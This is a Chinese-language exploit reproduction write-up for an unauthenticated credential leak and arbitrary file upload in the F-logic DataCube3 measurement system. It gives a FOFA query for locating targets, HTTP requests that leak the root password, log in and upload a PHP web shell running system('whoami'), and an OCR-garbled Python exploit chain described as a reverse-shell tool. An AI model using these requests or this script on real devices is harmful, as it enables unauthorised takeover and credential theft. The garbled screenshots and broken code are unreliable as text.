F4-1F-logic-DataCube3测量系统-文件上传

漏洞描述:

F-logic DataCube3 /admin/setting photo.php接口处存在任意<u>文件上传遍洞</u>,未经身份验证的攻击者可通过该漏洞在服务器端写入后门,获取服务器权限,进而控制整个web服务器。

F-logic DataCube3測量系统版本1.0

网站图片:



网络测绘:

fofa语法:

FOFA: title="DataCube3"

漏洞复现:

payload:

GET /admin/config_all.php HTTP/1.1 Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive

效果图:

未授权获取用户名密码



使用口令获取登录后的cookie

POST /admin/config_all.php HTTP/1.1 Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded

user_id=用户名&user_pw=密码&login=%25E3%2583%25AD%25E3%2582%25B0%25E3%2582%25A4%25E3%2583%25B3

```
〈 〉 数据包扫描 热加载 构造请求 💥
                                                                                                                                   Responses 46432bytes / 348ms
                                                                                                                                                                                           美化 渲染 1234567
                                                                                                                                                                                                                               0 Q 0
        POST / /admin/config all.php HTTP/1.1
                                                                                                                                           HTTP/1.1-302-Found
                                                                                                                                           X.Powered-By: PHP/7.2.1-dev

Set-Cookie: SESS_IDS-97uachbdvjo739fgfp1t5950q8; path=/

Expires: Thu, 19:Nov:1981-08:52:00:GMT
          Hos:
User-Agent:Mozilla/5.0 (Windows-NT-10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like-Gecko) Chrome/
                                                                                                                                          Expines:-Thu, 13 Nov-1981-08:52:00-GMT
Cache-Control:-no-store, no-cache, must-revalidate
Pragma:-no-cache
Location:-login.php
Content-type:-text/html;-charset=UTF-8
Date:-Fri, -15-Mar-2024-13:55:26-GMT
Server:-lighttpd/1.4.13
Content-Length:-46432
          Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep alter
         Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
        user_id=root&user_pw=Root-123456&login=%25E3%2583%25AD%25E3%2582%25B0%25E3%2582%25A4%25E3%2583%25B3
                                                                                                                                        <!DOCTYPE·html>
<html>
                                                                                                                                            <head>
                                                                                                                                           -<!--head include-->
-<meta-charset="UTF-8"-/>
ceta-charset="UTF-8"-/>
ceta-name-"vieuport" content="initial-scale=1.0">
clink-rel="shortcut-icon"-type="image/x-icon"-href-
                                                                                                                                                                                                  ef="../images/contents/favicon.ico"·/>
携带cookie获取accesstime的值
Host: your-ip User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept-Encoding; gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: 登录后的cookie
                                                                                〈 〉 数据包扫描 热加载 构造请求 💥
                                                                                                                                   Responses 31862bytes / 626ms
                                                                                                                                                                                                                             Q 🗑
                                                                                                                                                                                           美化 渲染 请输入定位响应
  Request
   1 GET min/setting photo.php HTTP/1.1
                                                                                                                                   63 V --<form-method='post'-action='setting photo.php'-enctype="multipart/form-data">
          Host User-Ragent... | lindows NT-10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like-Gecko) Chrome/70.0.3538.77 Safari/537.36
                                                                                                                                    65
66
                                                                                                                                               "<input::de"'btnDelete'+key".name='delete'.type='submit'::value='jsonEncode(item)'
v-for="(item,key):in:photoFile":/>
          Accept-Encoding: gzip, deflate
Accept: */*
                                                                                                                                    67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
                                                                                                                                               -<[---写真造加-->
-<input ref="btnAdd"name="add"type="submit":value="写真造加":/>
-<input ref="btnDddate"name="update"type="submit":value="写真上書き":/>
-<input ref="btnFileSelect"name="addPhoto"type="file"s@change="selectedFile":/>
          Cookie: SESS_IDS-97uachbdvjo739fgfp1t5950q8
                                                                                                                                               -<input-type="hidden" name="accesstime" value="0.05554600:1710511030" />
/forex
                                                                                                                                             </form>
/div><!---/.sendFormArea
                                                                                                                                                               header·class="tbl_header">
·<h3·class="tbl_tit">写真管理</h3>
                                                                                                                                                                 <el-button-group>
                                                                                                                                    83
84
                                                                                                                                                                               o size="medium" type=""-@click="dialogVisible = true">写
                                                                                                                                                                  ··<el-button·size="medium
真新規追加</el-button>
文件上传
POST /admin/setting_photo.php HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data;boundary=------113389720123090127612523184396
Cookie: 登录后的cookie
                                 ----113389720123090127612523184396
Content-Disposition: form-data; name="add
Content-Disposition: form-data; name="addPhoto"; filename="1.php" Content-Type: image/jpeg
                                    ----113389720123090127612523184396
Content-Disposition: form-data; name="accesstime
accesstime的值
                     -----113389720123090127612523184396--
                                                                                く 〉 数据包扫描 熱加載 构造请求 💥
                                                                                                                                    Responses 32052bytes / 421ms
                                                                                                                                                                                            美化 渲染 请输入定位响应
                                                                                                                                           HTTP/1.1-302-Found
X.Pousered-By: PHP/7.2.1-dev
Expires: 'Thu, '19 Nov-1981-08:52:00 GMT
Cache-Control: 'no-store, 'no-cache, 'must-revalidate
           POST / Jadmin/setting_photo.php·HTTP/1.1
Host: '
User-A_min...., 5.8° (Windows·NT-10.0; Win64; vx64) - AppleWebKit/537.36 (KHTML, · like-Gecko) - Chrome/
           Accept-Encoding: gzip, deflate
Accept: */*
                                                                                                                                            Pragma: no-cache
                                                                                                                                            Location: login.php
                 ction: keen-alive
                                                                                                                                           Content-type: 'text/html; 'charset-UTF-8
Date: 'Fri, '15 'Mar 2024 13:59:13 'GMT
Server: lighttpd/1.4.13
Content-Length: '32052
                                                                       -----113389720123090127612523184396
           <!DOCTYPE:html>
                                                                                                                                     15 V <html>
                                                                                                                                           ·•♥HTML·Start
           Content-Type: image/jpeg
           <?php·system("whoami");?>
                                                                                                                                         < <head>
           Content-Disposition: form-data; name="accesstime"
                                                                                                                                            0.05554600-1710511030
                                          ---113389720123090127612523184396--
```

root

vthon'

Python

```
# -*- coding: utf-8 -*-
  # Exploit Title: DataCube3 exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload
# Exploit life: batacubes exploit chain reverse shell, information disclosure (root password leak) # unit Date: 7/28/2022

# Exploit Author: Samy Youns: -NS Labs (https://neroteam.com)

# Vendor Homepage: https://www.f-logic.jp

# Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf

# Version: Ver1.0

# Tested on: DataCube3 version 1.0 (Ubuntu)

# CVE : CVE-2024-25830 + CVE-2024-25832
from __future__ import print_function, unicode_literals from bs4 import BeautifulSoup import argparse import requests import json import urllib3
  urllib3.disable_warnings()
 def banner():
    dataCube3
                                                                                                                                                                       \033[1;91mDataCube3 exploit chain reverse shell\033[1;m
  \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m
                                             FOR EDUCATIONAL PURPOSE ONLY.
            return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))
 def extractRootPwd(RHOST, RPORT, protocol):
    url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
             try:
                       response = requests.get(url, allow_redirects=False, verify=False, timeout=20)
if response.status code != 302:
    print('[!] \033[1;9lmError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
    exit()
                     exit()
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
scriptTag = str(soup.find_all('script')[12]).replace(' ', '')
rawLeakedData = re.findall('configData:.',', scriptTag)[0]
jsonLeakedData = json.leads('[13]).format(rawLeakedData.split('configData:[')[1].split('],')[0]))
adminPassword = jsonLeakedData[12]['value']
rootPassword = jsonLeakedData[14]['value']
print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword
return rootPassword
ept:
except:
    print('[ERROR] Can\'t grab the DataCube3 version...')

def generateAuthCookie(RHOST, RFORT, protocol, rootPassword):
    print('[INFO] Generating DataCube3 auth cookie ...')
    url = '{1://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
    data = {
        'user_id: 'root',
        'user_pw': rootPassword,
        'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
}
             except:
            response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)
if response.status_code != 302:
print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')
            exit()
authCookie = response.cookies.get_dict()
print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))
             return authCookie
             print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')
  def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):
      print('[INFO] Extracting Accesstime ...')
url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
            ry:
response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)
if response.status_code != 302:
    print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')
           exit()

soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
accessTime = soup.find('input', ('name': 'accessTime')).get('value')
print('[INFO] AccessTime value: {}'.format(accessTime))
return accessTime
vernt'.
     esponse = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)
            if response.status_code != 302:
print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')
            exit() ex
```